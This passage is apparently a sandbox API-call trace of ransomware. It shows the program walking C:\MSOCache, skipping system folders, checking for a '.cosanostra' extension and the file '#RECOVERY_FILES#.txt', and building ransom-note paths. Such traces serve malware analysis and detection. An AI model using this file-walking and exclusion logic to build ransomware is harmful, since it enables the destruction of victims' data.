(lpString1="Setup.xml", lpString2="Windows") returned -1 [0077.505] lstrlenW (lpString="Windows") returned 7 [0077.505] lstrcmpiW (lpString1="Setup.xml", lpString2="Program Files") returned 1 [0077.505] lstrlenW (lpString="Program Files") returned 13 [0077.505] lstrcmpiW (lpString1="Setup.xml", lpString2="Program Files (x86)") returned 1 [0077.505] lstrlenW (lpString="Program Files (x86)") returned 19 [0077.505] lstrcmpiW (lpString1="Setup.xml", lpString2="$Recycle.bin") returned 1 [0077.505] lstrlenW (lpString="$Recycle.bin") returned 12 [0077.505] lstrcmpiW (lpString1="Setup.xml", lpString2="System Volume Information") returned -1 [0077.505] lstrlenW (lpString="System Volume Information") returned 25 [0077.505] wnsprintfW (in: pszDest=0x267fb0, cchDest=32767, pszFmt="%s\\%s" | out: pszDest="\\\\?\\C:\\MSOCache\\All Users\\{90140000-00B4-0409-1000-0000000FF1CE}-C\\Setup.xml") returned 76 [0077.506] StrStrIW (lpFirst="Setup.xml", lpSrch=".cosanostra") returned 0x0 [0077.506] lstrcmpW (lpString1="Setup.xml", lpString2="#RECOVERY_FILES#.txt") returned 1 [0077.506] lstrcmpW (lpString1="Setup.xml", lpString2="_uninstalling_.png") returned 1 [0077.506] lstrlenW (lpString="\\\\?\\C:\\MSOCache\\All Users\\{90140000-00B4-0409-1000-0000000FF1CE}-C\\Setup.xml") returned 76 [0077.506] FindNextFileW (in: hFindFile=0x25a770, lpFindFileData=0x2cfefa8 | out: lpFindFileData=0x2cfefa8) returned 0 [0077.506] FindClose (in: hFindFile=0x25a770 | out: hFindFile=0x25a770) returned 1 [0077.506] wnsprintfW (in: pszDest=0x267fb0, cchDest=32767, pszFmt="%s\\%s" | out: pszDest="\\\\?\\C:\\MSOCache\\All Users\\{90140000-00B4-0409-1000-0000000FF1CE}-C\\#RECOVERY_FILES#.txt") returned 87 [0077.506] lstrlenW (lpString="\\\\?\\C:\\MSOCache\\All Users\\{90140000-00B4-0409-1000-0000000FF1CE}-C\\#RECOVERY_FILES#.txt") returned 87 [0077.506] FindNextFileW (in: hFindFile=0x24d080, lpFindFileData=0x2cff348 | out: lpFindFileData=0x2cff348) returned 1 [0077.506] lstrcmpiW (lpString1="{90140000-00BA-0409-1000-0000000FF1CE}-C", lpString2="Windows") returned -1 [0077.506] lstrlenW (lpString="Windows") returned 7 [0077.506] lstrcmpiW (lpString1="{90140000-00BA-0409-1000-0000000FF1CE}-C", lpString2="Program Files") returned -1 [0077.507] lstrlenW (lpString="Program Files") returned 13 [0077.507] lstrcmpiW (lpString1="{90140000-00BA-0409-1000-0000000FF1CE}-C", lpString2="Program Files (x86)") returned -1 [0077.507] lstrlenW (lpString="Program Files (x86)") returned 19 [0077.507] lstrcmpiW (lpString1="{90140000-00BA-0409-1000-0000000FF1CE}-C", lpString2="$Recycle.bin") returned 1 [0077.507] lstrlenW (lpString="$Recycle.bin") returned 12 [0077.507] lstrcmpiW (lpString1="{90140000-00BA-0409-1000-0000000FF1CE}-C", lpString2="System Volume Information") returned -1 [0077.507] lstrlenW (lpString="System Volume Information") returned 25 [0077.507] wnsprintfW (in: pszDest=0x23b158, cchDest=32767, pszFmt="%s\\%s" | out: pszDest="\\\\?\\C:\\MSOCache\\All Users\\{90140000-00BA-0409-1000-0000000FF1CE}-C") returned 66 [0077.507] lstrcmpW (lpString1="{90140000-00BA-0409-1000-0000000FF1CE}-C", lpString2=".") returned 1 [0077.507] lstrcmpW (lpString1="{90140000-00BA-0409-1000-0000000FF1CE}-C", lpString2="..") returned 1 [0077.507] wnsprintfW (in: pszDest=0x267fb0, cchDest=32767, pszFmt="%s\\*" | out: pszDest="\\\\?\\C:\\MSOCache\\All Users\\{90140000-00BA-0409-1000-0000000FF1CE}-C\\*") returned 68 [0077.507] FindFirstFileW (in: lpFileName="\\\\?\\C:\\MSOCache\\All Users\\{90140000-00BA-0409-1000-0000000FF1CE}-C\\*", lpFindFileData=0x2cfefa8 | out: lpFindFileData=0x2cfefa8) returned 0x25a770 [0077.779] lstrcmpiW (lpString1=".", lpString2="Windows") returned -1 [0077.779] lstrlenW (lpString="Windows") returned 7 [0077.779] lstrcmpiW (lpString1=".", lpString2="Program Files") returned -1 [0077.779] lstrlenW (lpString="Program Files") returned 13 [0077.779] lstrcmpiW (lpString1=".", lpString2="Program Files (x86)") returned -1 [0077.779] lstrlenW (lpString="Program Files (x86)") returned 19 [0077.779] lstrcmpiW (lpString1=".", lpString2="$Recycle.bin") returned 1 [0077.779] lstrlenW (lpString="$Recycle.bin") returned 12 [0077.779] lstrcmpiW (lpString1=".", lpString2="System Volume Information") returned -1 [0077.779] lstrlenW (lpString="System Volume Information") returned 25 [0077.779] wnsprintfW (in: pszDest=0x267fb0, cchDest=32767, pszFmt="%s\\%s" | out: pszDest="\\\\?\\C:\\MSOCache\\All Users\\{90140000-00BA-0409-1000-0000000FF1CE}-C\\.") returned 68 [0077.779] lstrcmpW (lpString1=".", lpString2=".") returned 0 [0077.779] StrStrIW (lpFirst=".", lpSrch=".cosanostra") returned 0x0 [0077.779] lstrcmpW (lpString1=".", lpString2="#RECOVERY_FILES#.txt") returned 1 [0077.779] lstrcmpW (lpString1=".", lpString2="_uninstalling_.png") returned -1 [0077.779] lstrlenW (lpString="\\\\?\\C:\\MSOCache\\All Users\\{90140000-00BA-0409-1000-0000000FF1CE}-C\\.") returned 68 [0077.779] FindNextFileW (in: hFindFile=0x25a770, lpFindFileData=0x2cfefa8 | out: lpFindFileData=0x2cfefa8) returned 1 [0077.779] lstrcmpiW (lpString1="..", lpString2="Windows") returned -1 [0077.779] lstrlenW (lpString="Windows") returned 7 [0077.779] lstrcmpiW (lpString1="..", lpString2="Program Files") returned -1 [0077.779] lstrlenW (lpString="Program Files") returned 13 [0077.779] lstrcmpiW (lpString1="..", lpString2="Program Files (x86)") returned -1 [0077.779] lstrlenW (lpString="Program Files (x86)") returned 19 [0077.779] lstrcmpiW (lpString1="..", lpString2="$Recycle.bin") returned 1 [0077.779] lstrlenW (lpString="$Recycle.bin") returned 12 [0077.779] lstrcmpiW (lpString1="..", lpString2="System Volume Information") returned -1 [0077.779] lstrlenW (lpString="System Volume Information") returned 25 [0077.779] wnsprintfW (in: pszDest=0x267fb0, cchDest=32767, pszFmt="%s\\%s" | out: pszDest="\\\\?\\C:\\MSOCache\\All Users\\{90140000-00BA-0409-1000-0000000FF1CE}-C\\..") returned 69 [0077.780] lstrcmpW (lpString1="..", lpString2=".") returned 1 [0077.780] lstrcmpW (lpString1="..", lpString2="..") returned 0 [0077.780] StrStrIW (lpFirst="..", lpSrch=".cosanostra") returned 0x0 [0077.780] lstrcmpW (lpString1="..", lpString2="#RECOVERY_FILES#.txt") returned 1 [0077.780] lstrcmpW (lpString1="..", lpString2="_uninstalling_.png") returned -1 [0077.780] lstrlenW (lpString="\\\\?\\C:\\MSOCache\\All Users\\{90140000-00BA-0409-1000-0000000FF1CE}-C\\..") returned 69 [0077.780] FindNextFileW (in: hFindFile=0x25a770, lpFindFileData=0x2cfefa8 | out: lpFindFileData=0x2cfefa8) returned 1 [0077.780] lstrcmpiW (lpString1="GrooveLR.cab", lpString2="Windows") returned -1 [0077.780] lstrlenW (lpString="Windows") returned 7 [0077.780] lstrcmpiW (lpString1="GrooveLR.cab", lpString2="Program Files") returned -1 [0077.780] lstrlenW (lpString="Program Files") returned 13 [0077.780] lstrcmpiW (lpString1="GrooveLR.cab", lpString2="Program Files (x86)") returned -1 [0077.780] lstrlenW (lpString="Program Files (x86)") returned 19 [0077.780] lstrcmpiW (lpString1="GrooveLR.cab", lpString2="$Recycle.bin") returned 1 [0077.780] lstrlenW (lpString="$Recycle.bin") returned 12 [0077.780] lstrcmpiW (lpString1="GrooveLR.cab", lpString2="System Volume Information") returned -1 [0077.780] lstrlenW (lpString="System Volume Information") returned 25 [0077.780] wnsprintfW (in: pszDest=0x267fb0, cchDest=32767, pszFmt="%s\\%s" | out: pszDest="\\\\?\\C:\\MSOCache\\All Users\\{90140000-00BA-0409-1000-0000000FF1CE}-C\\GrooveLR.cab") returned 79 [0077.780] StrStrIW (lpFirst="GrooveLR.cab", lpSrch=".cosanostra") returned 0x0 [0077.780] lstrcmpW (lpString1="GrooveLR.cab", lpString2="#RECOVERY_FILES#.txt") returned 1 [0077.780] lstrcmpW (lpString1="GrooveLR.cab", lpString2="_uninstalling_.png") returned 1 [0077.780] lstrlenW (lpString="\\\\?\\C:\\MSOCache\\All Users\\{90140000-00BA-0409-1000-0000000FF1CE}-C\\GrooveLR.cab") returned 79 [0077.780] FindNextFileW (in: hFindFile=0x25a770, lpFindFileData=0x2cfefa8 | out: lpFindFileData=0x2cfefa8) returned 1 [0077.780] lstrcmpiW (lpString1="GrooveMUI.msi", lpString2="Windows") returned -1 [0077.780] lstrlenW (lpString="Windows") returned 7 [0077.780] lstrcmpiW (lpString1="GrooveMUI.msi", lpString2="Program Files") returned -1 [0077.780] lstrlenW (lpString="Program Files") returned 13 [0077.780] lstrcmpiW (lpString1="GrooveMUI.msi", lpString2="Program Files (x86)") returned -1 [0077.780] lstrlenW (lpString="Program Files (x86)") returned 19 [0077.780] lstrcmpiW (lpString1="GrooveMUI.msi", lpString2="$Recycle.bin") returned 1 [0077.780] lstrlenW (lpString="$Recycle.bin") returned 12 [0077.780] lstrcmpiW (lpString1="GrooveMUI.msi", lpString2="System Volume Information") returned -1 [0077.780] lstrlenW (lpString="System Volume Information") returned 25 [0077.780] wnsprintfW (in: pszDest=0x267fb0, cchDest=32767, pszFmt="%s\\%s" | out: pszDest="\\\\?\\C:\\MSOCache\\All Users\\{90140000-00BA-0409-1000-0000000FF1CE}-C\\GrooveMUI.msi") returned 80 [0077.781] StrStrIW (lpFirst="GrooveMUI.msi", lpSrch=".cosanostra") returned 0x0 [0077.781] lstrcmpW (lpString1="GrooveMUI.msi", lpString2="#RECOVERY_FILES#.txt") returned 1 [0077.781] lstrcmpW (lpString1="GrooveMUI.msi", lpString2="_uninstalling_.png") returned 1 [0077.781] lstrlenW (lpString="\\\\?\\C:\\MSOCache\\All Users\\{90140000-00BA-0409-1000-0000000FF1CE}-C\\GrooveMUI.msi") returned 80 [0077.781] FindNextFileW (in: hFindFile=0x25a770, lpFindFileData=0x2cfefa8 | out: lpFindFileData=0x2cfefa8) returned 1 [0077.781] lstrcmpiW (lpString1="GrooveMUI.xml", lpString2="Windows") returned -1 [0077.781] lstrlenW (lpString="Windows") returned 7 [0077.781] lstrcmpiW (lpString1="GrooveMUI.xml", lpString2="Program Files") returned -1 [0077.781] lstrlenW (lpString="Program Files") returned 13 [0077.781] lstrcmpiW (lpString1="GrooveMUI.xml", lpString2="Program Files (x86)") returned -1 [0077.781] lstrlenW (lpString="Program Files (x86)") returned 19 [0077.781] lstrcmpiW (lpString1="GrooveMUI.xml", lpString2="$Recycle.bin") returned 1 [0077.781] lstrlenW (lpString="$Recycle.bin") returned 12 [0077.781] lstrcmpiW (lpString1="GrooveMUI.xml", lpString2="System Volume Information") returned -1 [0077.781] lstrlenW (lpString="System Volume Information") returned 25 [0077.781] wnsprintfW (in: pszDest=0x267fb0, cchDest=32767, pszFmt="%s\\%s" | out: pszDest="\\\\?\\C:\\MSOCache\\All Users\\{90140000-00BA-0409-1000-0000000FF1CE}-C\\GrooveMUI.xml") returned 80 [0077.781] StrStrIW (lpFirst="GrooveMUI.xml", lpSrch=".cosanostra") returned 0x0 [0077.781] lstrcmpW (lpString1="GrooveMUI.xml", lpString2="#RECOVERY_FILES#.txt") returned 1 [0077.781] lstrcmpW (lpString1="GrooveMUI.xml", lpString2="_uninstalling_.png") returned 1 [0077.781] lstrlenW (lpString="\\\\?\\C:\\MSOCache\\All Users\\{90140000-00BA-0409-1000-0000000FF1CE}-C\\GrooveMUI.xml") returned 80 [0077.781] FindNextFileW (in: hFindFile=0x25a770, lpFindFileData=0x2cfefa8 | out: lpFindFileData=0x2cfefa8) returned 1 [0077.781] lstrcmpiW (lpString1="Setup.xml", lpString2="Windows") returned -1 [0077.781] lstrlenW (lpString="Windows") returned 7 [0077.781] lstrcmpiW (lpString1="Setup.xml", lpString2="Program Files") returned 1 [0077.781] lstrlenW (lpString="Program Files") returned 13 [0077.781] lstrcmpiW (lpString1="Setup.xml", lpString2="Program Files (x86)") returned 1 [0077.781] lstrlenW (lpString="Program Files (x86)") returned 19 [0077.782] lstrcmpiW (lpString1="Setup.xml", lpString2="$Recycle.bin") returned 1 [0077.782] lstrlenW (lpString="$Recycle.bin") returned 12 [0077.782] lstrcmpiW (lpString1="Setup.xml", lpString2="System Volume Information") returned -1 [0077.782] lstrlenW (lpString="System Volume Information") returned 25 [0077.782] wnsprintfW (in: pszDest=0x267fb0, cchDest=32767, pszFmt="%s\\%s" | out: pszDest="\\\\?\\C:\\MSOCache\\All Users\\{90140000-00BA-0409-1000-0000000FF1CE}-C\\Setup.xml") returned 76 [0077.782] StrStrIW (lpFirst="Setup.xml", lpSrch=".cosanostra") returned 0x0 [0077.782] lstrcmpW (lpString1="Setup.xml", lpString2="#RECOVERY_FILES#.txt") returned 1 [0077.782] lstrcmpW (lpString1="Setup.xml", lpString2="_uninstalling_.png") returned 1 [0077.782] lstrlenW (lpString="\\\\?\\C:\\MSOCache\\All Users\\{90140000-00BA-0409-1000-0000000FF1CE}-C\\Setup.xml") returned 76 [0077.782] FindNextFileW (in: hFindFile=0x25a770, lpFindFileData=0x2cfefa8 | out: lpFindFileData=0x2cfefa8) returned 0 [0077.782] FindClose (in: hFindFile=0x25a770 | out: hFindFile=0x25a770) returned 1 [0077.783] wnsprintfW (in: pszDest=0x267fb0, cchDest=32767, pszFmt="%s\\%s" | out: pszDest="\\\\?\\C:\\MSOCache\\All Users\\{90140000-00BA-0409-1000-0000000FF1CE}-C\\#RECOVERY_FILES#.txt") returned 87 [0077.783] lstrlenW (lpString="\\\\?\\C:\\MSOCache\\All Users\\{90140000-00BA-0409-1000-0000000FF1CE}-C\\#RECOVERY_FILES#.txt") returned 87 [0077.783] FindNextFileW (in: hFindFile=0x24d080, lpFindFileData=0x2cff348 | out: lpFindFileData=0x2cff348) returned 1 [0077.783] lstrcmpiW (lpString1="{90140000-0115-0409-1000-0000000FF1CE}-C", lpString2="Windows") returned -1 [0077.783] lstrlenW (lpString="Windows") returned 7 [0077.783] lstrcmpiW (lpString1="{90140000-0115-0409-1000-0000000FF1CE}-C", lpString2="Program Files") returned -1 [0077.783] lstrlenW (lpString="Program Files") returned 13 [0077.783] lstrcmpiW (lpString1="{90140000-0115-0409-1000-0000000FF1CE}-C", lpString2="Program Files (x86)") returned -1 [0077.783] lstrlenW (lpString="Program Files (x86)") returned 19 [0077.783] lstrcmpiW (lpString1="{90140000-0115-0409-1000-0000000FF1CE}-C", lpString2="$Recycle.bin") returned 1 [0077.783] lstrlenW (lpString="$Recycle.bin") returned 12 [0077.783] lstrcmpiW (lpString1="{90140000-0115-0409-1000-0000000FF1CE}-C", lpString2="System Volume Information") returned -1 [0077.783] lstrlenW (lpString="System Volume Information") returned 25 [0077.783] wnsprintfW (in: pszDest=0x23b158, cchDest=32767, pszFmt="%s\\%s" | out: pszDest="\\\\?\\C:\\MSOCache\\All Users\\{90140000-0115-0409-1000-0000000FF1CE}-C") returned 66 [0077.783] lstrcmpW (lpString1="{90140000-0115-0409-1000-0000000FF1CE}-C", lpString2=".") returned 1 [0077.783] lstrcmpW (lpString1="{90140000-0115-0409-1000-0000000FF1CE}-C", lpString2="..") returned 1 [0077.783] wnsprintfW (in: pszDest=0x267fb0, cchDest=32767, pszFmt="%s\\*" | out: pszDest="\\\\?\\C:\\MSOCache\\All Users\\{90140000-0115-0409-1000-0000000FF1CE}-C\\*") returned 68 [0077.783] FindFirstFileW (in: lpFileName="\\\\?\\C:\\MSOCache\\All Users\\{90140000-0115-0409-1000-0000000FF1CE}-C\\*", lpFindFileData=0x2cfefa8 | out: lpFindFileData=0x2cfefa8) returned 0x25a770 [0077.890] lstrcmpiW (lpString1=".", lpString2="Windows") returned -1 [0077.890] lstrlenW (lpString="Windows") returned 7 [0077.890] lstrcmpiW (lpString1=".", lpString2="Program Files") returned -1 [0077.890] lstrlenW (lpString="Program Files") returned 13 [0077.890] lstrcmpiW (lpString1=".", lpString2="Program Files (x86)") returned -1 [0077.891] lstrlenW (lpString="Program Files (x86)") returned 19 [0077.891] lstrcmpiW (lpString1=".", lpString2="$Recycle.bin") returned 1 [0077.891] lstrlenW (lpString="$Recycle.bin") returned 12 [0077.891] lstrcmpiW (lpString1=".", lpString2="System Volume Information") returned -1 [0077.891] lstrlenW (lpString="System Volume Information") returned 25 [0077.891] wnsprintfW (in: pszDest=0x267fb0, cchDest=32767, pszFmt="%s\\%s" | out: pszDest="\\\\?\\C:\\MSOCache\\All Users\\{90140000-0115-0409-1000-0000000FF1CE}-C\\.") returned 68 [0077.891] lstrcmpW (lpString1=".", lpString2=".") returned 0 [0077.891] StrStrIW (lpFirst=".", lpSrch=".cosanostra") returned 0x0 [0077.891] lstrcmpW (lpString1=".", lpString2="#RECOVERY_FILES#.txt") returned 1 [0077.891] lstrcmpW (lpString1=".", lpString2="_uninstalling_.png") returned -1 [0077.891] lstrlenW (lpString="\\\\?\\C:\\MSOCache\\All Users\\{90140000-0115-0409-1000-0000000FF1CE}-C\\.") returned 68 [0077.891] FindNextFileW (in: hFindFile=0x25a770, lpFindFileData=0x2cfefa8 | out: lpFindFileData=0x2cfefa8) returned 1 [0077.891] lstrcmpiW (lpString1="..", lpString2="Windows") returned -1 [0077.891] lstrlenW (lpString="Windows") returned 7 [0077.891] lstrcmpiW (lpString1="..", lpString2="Program Files") returned -1 [0077.891] lstrlenW (lpString="Program Files") returned 13 [0077.891] lstrcmpiW (lpString1="..", lpString2="Program Files (x86)") returned -1 [0077.891] lstrlenW (lpString="Program Files (x86)") returned 19 [0077.891] lstrcmpiW (lpString1="..", lpString2="$Recycle.bin") returned 1 [0077.891] lstrlenW (lpString="$Recycle.bin") returned 12 [0077.891] lstrcmpiW (lpString1="..", lpString2="System Volume Information") returned -1 [0077.891] lstrlenW (lpString="System Volume Information") returned 25 [0077.891] wnsprintfW (in: pszDest=0x267fb0, cchDest=32767, pszFmt="%s\\%s" | out: pszDest="\\\\?\\C:\\MSOCache\\All Users\\{90140000-0115-0409-1000-0000000FF1CE}-C\\..") returned 69 [0077.891] lstrcmpW (lpString1="..", lpString2=".") returned 1 [0077.891] lstrcmpW (lpString1="..", lpString2="..") returned 0 [0077.891] StrStrIW (lpFirst="..", lpSrch=".cosanostra") returned 0x0 [0077.891] lstrcmpW (lpString1="..", lpString2="#RECOVERY_FILES#.txt") returned 1 [0077.891] lstrcmpW (lpString1="..", lpString2="_uninstalling_.png") returned -1 [0077.891] lstrlenW (lpString="\\\\?\\C:\\MSOCache\\All Users\\{90140000-0115-0409-1000-0000000FF1CE}-C\\..") returned 69 [0077.891] FindNextFileW (in: hFindFile=0x25a770, lpFindFileData=0x2cfefa8 | out: lpFindFileData=0x2cfefa8) returned 1 [0077.891] lstrcmpiW (lpString1="1033", lpString2="Windows") returned -1 [0077.892] lstrlenW (lpString="Windows") returned 7 [0077.892] lstrcmpiW (lpString1="1033", lpString2="Program Files") returned -1 [0077.892] lstrlenW (lpString="Program Files") returned 13 [0077.892] lstrcmpiW (lpString1="1033", lpString2="Program Files (x86)") returned -1 [0077.892] lstrlenW (lpString="Program Files (x86)") returned 19 [0077.892] lstrcmpiW (lpString1="1033", lpString2="$Recycle.bin") returned 1 [0077.892] lstrlenW (lpString="$Recycle.bin") returned 12 [0077.892] lstrcmpiW (lpString1="1033", lpString2="System Volume Information") returned -1 [0077.892] lstrlenW (lpString="System Volume Information") returned 25 [0077.892] wnsprintfW (in: pszDest=0x267fb0, cchDest=32767, pszFmt="%s\\%s" | out: pszDest="\\\\?\\C:\\MSOCache\\All Users\\{90140000-0115-0409-1000-0000000FF1CE}-C\\1033") returned 71 [0077.892] lstrcmpW (lpString1="1033", lpString2=".") returned 1 [0077.892] lstrcmpW (lpString1="1033", lpString2="..") returned 1 [0077.892] wnsprintfW (in: pszDest=0x279fe8, cchDest=32767, pszFmt="%s\\*" | out: pszDest="\\\\?\\C:\\MSOCache\\All Users\\{90140000-0115-0409-1000-0000000FF1CE}-C\\1033\\*") returned 73 [0077.892] FindFirstFileW (in: lpFileName="\\\\?\\C:\\MSOCache\\All Users\\{90140000-0115-0409-1000-0000000FF1CE}-C\\1033\\*", lpFindFileData=0x2cfec08 | out: lpFindFileData=0x2cfec08) returned 0x25a7b0 [0078.056] lstrcmpiW (lpString1=".", lpString2="Windows") returned -1 [0078.056] lstrlenW (lpString="Windows") returned 7 [0078.056] lstrcmpiW (lpString1=".", lpString2="Program Files") returned -1 [0078.056] lstrlenW (lpString="Program Files") returned 13 [0078.056] lstrcmpiW (lpString1=".", lpString2="Program Files (x86)") returned -1 [0078.056] lstrlenW (lpString="Program Files (x86)") returned 19 [0078.056] lstrcmpiW (lpString1=".", lpString2="$Recycle.bin") returned 1 [0078.056] lstrlenW (lpString="$Recycle.bin") returned 12 [0078.056] lstrcmpiW (lpString1=".", lpString2="System Volume Information") returned -1 [0078.056] lstrlenW (lpString="System Volume Information") returned 25 [0078.056] wnsprintfW (in: pszDest=0x279fe8, cchDest=32767, pszFmt="%s\\%s" | out: pszDest="\\\\?\\C:\\MSOCache\\All Users\\{90140000-0115-0409-1000-0000000FF1CE}-C\\1033\\.") returned 73 [0078.056] lstrcmpW (lpString1=".", lpString2=".") returned 0 [0078.056] FindNextFileW (in: hFindFile=0x25a7b0, lpFindFileData=0x2cfec08 | out: lpFindFileData=0x2cfec08) returned 1 [0078.056] lstrcmpiW (lpString1="..", lpString2="Windows") returned -1 [0078.056] lstrlenW (lpString="Windows") returned 7 [0078.056] lstrcmpiW (lpString1="..", lpString2="Program Files") returned -1 [0078.056] lstrlenW (lpString="Program Files") returned 13 [0078.056] lstrcmpiW (lpString1="..", lpString2="Program Files (x86)") returned -1 [0078.056] lstrlenW (lpString="Program Files (x86)") returned 19 [0078.056] lstrcmpiW (lpString1="..", lpString2="$Recycle.bin") returned 1 [0078.056] lstrlenW (lpString="$Recycle.bin") returned 12 [0078.056] lstrcmpiW (lpString1="..", lpString2="System Volume Information") returned -1 [0078.056] lstrlenW (lpString="System Volume Information") returned 25 [0078.056] wnsprintfW (in: pszDest=0x279fe8, cchDest=32767, pszFmt="%s\\%s" | out: pszDest="\\\\?\\C:\\MSOCache\\All Users\\{90140000-0115-0409-1000-0000000FF1CE}-C\\1033\\..") returned 74 [0078.056] lstrcmpW (lpString1="..", lpString2=".") returned 1 [0078.056] lstrcmpW (lpString1="..", lpString2="..") returned 0 [0078.056] FindNextFileW (in: hFindFile=0x25a7b0, lpFindFileData=0x2cfec08 | out: lpFindFileData=0x2cfec08) returned 1 [0078.056] lstrcmpiW (lpString1="dwintl20.dll", lpString2="Windows") returned -1 [0078.056] lstrlenW (lpString="Windows") returned 7 [0078.056] lstrcmpiW (lpString1="dwintl20.dll", lpString2="Program Files") returned -1 [0078.056] lstrlenW (lpString="Program Files") returned 13 [0078.056] lstrcmpiW (lpString1="dwintl20.dll", lpString2="Program Files (x86)") returned -1 [0078.057] lstrlenW (lpString="Program Files (x86)") returned 19 [0078.057] lstrcmpiW (lpString1="dwintl20.dll", lpString2="$Recycle.bin") returned 1 [0078.057] lstrlenW (lpString="$Recycle.bin") returned 12 [0078.057] lstrcmpiW (lpString1="dwintl20.dll", lpString2="System Volume Information") returned -1 [0078.057] lstrlenW (lpString="System Volume Information") returned 25 [0078.057] wnsprintfW (in: pszDest=0x279fe8, cchDest=32767, pszFmt="%s\\%s" | out: pszDest="\\\\?\\C:\\MSOCache\\All Users\\{90140000-0115-0409-1000-0000000FF1CE}-C\\1033\\dwintl20.dll") returned 84 [0078.057] StrStrIW (lpFirst="dwintl20.dll", lpSrch=".cosanostra") returned 0x0 [0078.057] lstrcmpW (lpString1="dwintl20.dll", lpString2="#RECOVERY_FILES#.txt") returned 1 [0078.057] lstrcmpW (lpString1="dwintl20.dll", lpString2="_uninstalling_.png") returned 1 [0078.057] lstrlenW (lpString="\\\\?\\C:\\MSOCache\\All Users\\{90140000-0115-0409-1000-0000000FF1CE}-C\\1033\\dwintl20.dll") returned 84 [0078.057] FindNextFileW (in: hFindFile=0x25a7b0, lpFindFileData=0x2cfec08 | out: lpFindFileData=0x2cfec08) returned 0 [0078.057] FindClose (in: hFindFile=0x25a7b0 | out: hFindFile=0x25a7b0) returned 1 [0078.057] wnsprintfW (in: pszDest=0x279fe8, cchDest=32767, pszFmt="%s\\%s" | out: pszDest="\\\\?\\C:\\MSOCache\\All Users\\{90140000-0115-0409-1000-0000000FF1CE}-C\\1033\\#RECOVERY_FILES#.txt") returned 92 [0078.057] lstrlenW (lpString="\\\\?\\C:\\MSOCache\\All Users\\{90140000-0115-0409-1000-0000000FF1CE}-C\\1033\\#RECOVERY_FILES#.txt") returned 92 [0078.058] FindNextFileW (in: hFindFile=0x25a770, lpFindFileData=0x2cfefa8 | out: lpFindFileData=0x2cfefa8) returned 1 [0078.058] lstrcmpiW (lpString1="branding.xml", lpString2="Windows") returned -1 [0078.058] lstrlenW (lpString="Windows") returned 7 [0078.058] lstrcmpiW (lpString1="branding.xml", lpString2="Program Files") returned -1 [0078.058] lstrlenW (lpString="Program Files") returned 13 [0078.058] lstrcmpiW (lpString1="branding.xml", lpString2="Program Files (x86)") returned -1 [0078.058] lstrlenW (lpString="Program Files (x86)") returned 19 [0078.058] lstrcmpiW (lpString1="branding.xml", lpString2="$Recycle.bin") returned 1 [0078.058] lstrlenW (lpString="$Recycle.bin") returned 12 [0078.058] lstrcmpiW (lpString1="branding.xml", lpString2="System Volume Information") returned -1 [0078.058] lstrlenW (lpString="System Volume Information") returned 25 [0078.058] wnsprintfW (in: pszDest=0x267fb0, cchDest=32767, pszFmt="%s\\%s" | out: pszDest="\\\\?\\C:\\MSOCache\\All Users\\{90140000-0115-0409-1000-0000000FF1CE}-C\\branding.xml") returned 79 [0078.058] StrStrIW (lpFirst="branding.xml", lpSrch=".cosanostra") returned 0x0 [0078.058] lstrcmpW (lpString1="branding.xml", lpString2="#RECOVERY_FILES#.txt") returned 1 [0078.058] lstrcmpW (lpString1="branding.xml", lpString2="_uninstalling_.png") returned 1 [0078.058] lstrlenW (lpString="\\\\?\\C:\\MSOCache\\All Users\\{90140000-0115-0409-1000-0000000FF1CE}-C\\branding.xml") returned 79 [0078.058] FindNextFileW (in: hFindFile=0x25a770, lpFindFileData=0x2cfefa8 | out: lpFindFileData=0x2cfefa8) returned 1 [0078.058] lstrcmpiW (lpString1="DW20.EXE", lpString2="Windows") returned -1 [0078.058] lstrlenW (lpString="Windows") returned 7 [0078.058] lstrcmpiW (lpString1="DW20.EXE", lpString2="Program Files") returned -1 [0078.058] lstrlenW (lpString="Program Files") returned 13 [0078.058] lstrcmpiW (lpString1="DW20.EXE", lpString2="Program Files (x86)") returned -1 [0078.058] lstrlenW (lpString="Program Files (x86)") returned 19 [0078.058] lstrcmpiW (lpString1="DW20.EXE", lpString2="$Recycle.bin") returned 1 [0078.058] lstrlenW (lpString="$Recycle.bin") returned 12 [0078.058] lstrcmpiW (lpString1="DW20.EXE", lpString2="System Volume Information") returned -1 [0078.058] lstrlenW (lpString="System Volume Information") returned 25 [0078.058] wnsprintfW (in: pszDest=0x267fb0, cchDest=32767, pszFmt="%s\\%s" | out: pszDest="\\\\?\\C:\\MSOCache\\All Users\\{90140000-0115-0409-1000-0000000FF1CE}-C\\DW20.EXE") returned 75 [0078.058] StrStrIW (lpFirst="DW20.EXE", lpSrch=".cosanostra") returned 0x0 [0078.058] lstrcmpW (lpString1="DW20.EXE", lpString2="#RECOVERY_FILES#.txt") returned 1 [0078.058] lstrcmpW (lpString1="DW20.EXE", lpString2="_uninstalling_.png") returned 1 [0078.058] lstrlenW (lpString="\\\\?\\C:\\MSOCache\\All Users\\{90140000-0115-0409-1000-0000000FF1CE}-C\\DW20.EXE") returned 75 [0078.058] FindNextFileW (in: hFindFile=0x25a770, lpFindFileData=0x2cfefa8 | out: lpFindFileData=0x2cfefa8) returned 1 [0078.058] lstrcmpiW (lpString1="dwdcw20.dll", lpString2="Windows") returned -1 [0078.058] lstrlenW (lpString="Windows") returned 7 [0078.059] lstrcmpiW (lpString1="dwdcw20.dll", lpString2="Program Files") returned -1 [0078.059] lstrlenW (lpString="Program Files") returned 13 [0078.059] lstrcmpiW (lpString1="dwdcw20.dll", lpString2="Program Files (x86)") returned -1 [0078.059] lstrlenW (lpString="Program Files (x86)") returned 19 [0078.059] lstrcmpiW (lpString1="dwdcw20.dll", lpString2="$Recycle.bin") returned 1 [0078.059] lstrlenW (lpString="$Recycle.bin") returned 12 [0078.059] lstrcmpiW (lpString1="dwdcw20.dll", lpString2="System Volume Information") returned -1 [0078.059] lstrlenW (lpString="System Volume Information") returned 25 [0078.059] wnsprintfW (in: pszDest=0x267fb0, cchDest=32767, pszFmt="%s\\%s" | out: pszDest="\\\\?\\C:\\MSOCache\\All Users\\{90140000-0115-0409-1000-0000000FF1CE}-C\\dwdcw20.dll") returned 78 [0078.059] StrStrIW (lpFirst="dwdcw20.dll", lpSrch=".cosanostra") returned 0x0 [0078.059] lstrcmpW (lpString1="dwdcw20.dll", lpString2="#RECOVERY_FILES#.txt") returned 1 [0078.059] lstrcmpW (lpString1="dwdcw20.dll", lpString2="_uninstalling_.png") returned 1 [0078.059] lstrlenW (lpString="\\\\?\\C:\\MSOCache\\All Users\\{90140000-0115-0409-1000-0000000FF1CE}-C\\dwdcw20.dll") returned 78 [0078.059] FindNextFileW (in: hFindFile=0x25a770, lpFindFileData=0x2cfefa8 | out: lpFindFileData=0x2cfefa8) 